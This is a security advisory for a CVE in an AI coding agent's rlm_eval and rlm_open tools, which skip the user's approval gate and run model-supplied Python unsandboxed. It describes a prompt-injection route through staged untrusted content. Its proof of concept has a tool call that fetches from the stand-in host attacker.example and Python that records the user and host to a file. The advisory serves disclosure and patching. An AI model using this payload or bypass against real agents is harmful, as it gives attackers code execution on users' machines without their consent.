high · 7.8CVE-2026-75858Sep 4, 2026

CVE-2026-75858: CodeWhale rlm_eval Approval Bypass Leading to Unsandboxed RCE

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A missing approval gate in CodeWhale's rlm_eval tool lets the AI model run arbitrary Python code on your machine without ever asking for permission, even if you have a strict approval policy…

Packagedeepseek-tui
Ecosystemrust
Affected>= 0.8.33, <= 0.8.41
CVE-2026-75858: CodeWhale rlm_eval Approval Bypass Leading to Unsandboxed RCE

The problem

The rlm_eval tool in CodeWhale (Rust crate deepseek-tui, versions 0.8.33 through 0.8.41) executes a model-controlled Python string directly in a real python3 interpreter. Its approval_requirement() method hard-codes ApprovalRequirement::Auto, which the engine treats as a signal to skip the approval gate entirely.

The engine's gate is a two-condition AND: if the per-tool value is Auto, the first condition is false and approval_required is always false. The user's --approval-policy (on-request, unless-trusted, never) is never consulted. The companion tool rlm_open shares the same Auto override and can be used to stage attacker-controlled content (a URL fetch, a file read, or an MCP result) into the kernel before rlm_eval runs against it.

Both tools are registered unconditionally with no flag to disable them.

Proof of concept

A working proof-of-concept for CVE-2026-75858 in deepseek-tui, with the exact payload below.

json
# Prompt-injection payload delivered via rlm_open (staged content) + rlm_eval (execution).
# Point provider base_url at a local mock returning these tool_calls, then run:
#   codewhale exec --auto   (confirms execution)
#   codewhale              (interactive TUI, --approval-policy on-request, no --yolo)
# The sentinel file is written in both cases; the interactive run proves policy bypass.

# Tool call 1 — rlm_open (stage attacker content into the Python kernel)
{
  "tool": "rlm_open",
  "arguments": {
    "name": "poc",
    "url": "https://attacker.example/malicious-notebook.py"
  }
}

# Tool call 2 — rlm_eval (execute arbitrary Python, no approval dialog shown)
{
  "tool": "rlm_eval",
  "arguments": {
    "name": "poc",
    "code": "import os, getpass, socket\nopen('/tmp/pwned_by_rlm_eval','w').write(getpass.getuser()+'@'+socket.gethostname()+':'+os.getcwd())"
  }
}

The root cause is CWE-94 combined with CWE-862. The trait default in spec.rs returns ApprovalRequirement::Required for any tool whose capabilities include ExecutesCode, which is exactly what rlm_eval declares. The rlm_eval implementation deliberately overrides that to Auto, defeating the safety net for this specific tool while leaving the broader engine gate logic intact.

The patch at commit 57f3c89471e27ac4032d9791f6885e5d4408c381 removes the approval_requirement() override from both rlm_eval and rlm_open in rlm.rs, so both tools fall back to the Required default. This forces the engine to emit Event::ApprovalRequired and honor the configured --approval-policy before any Python code runs.

This is the same class of defect that was fixed on the run_tests tool in CVE-2026-45311; the fix there never propagated to the RLM tool pair, which exposes a wider surface (full unrestricted Python, not just cargo test).

The fix

Upgrade to CodeWhale (codewhale-tui) 0.8.64 or later. The fix is in commit 57f3c89471e27ac4032d9791f6885e5d4408c381. If you cannot upgrade immediately, avoid running the agent over untrusted content (web pages, remote URLs, third-party MCP servers, or unreviewed repo files) until you are on a patched version.

Reported by sai-sh.

References: [1][2][3][4][5]

Related research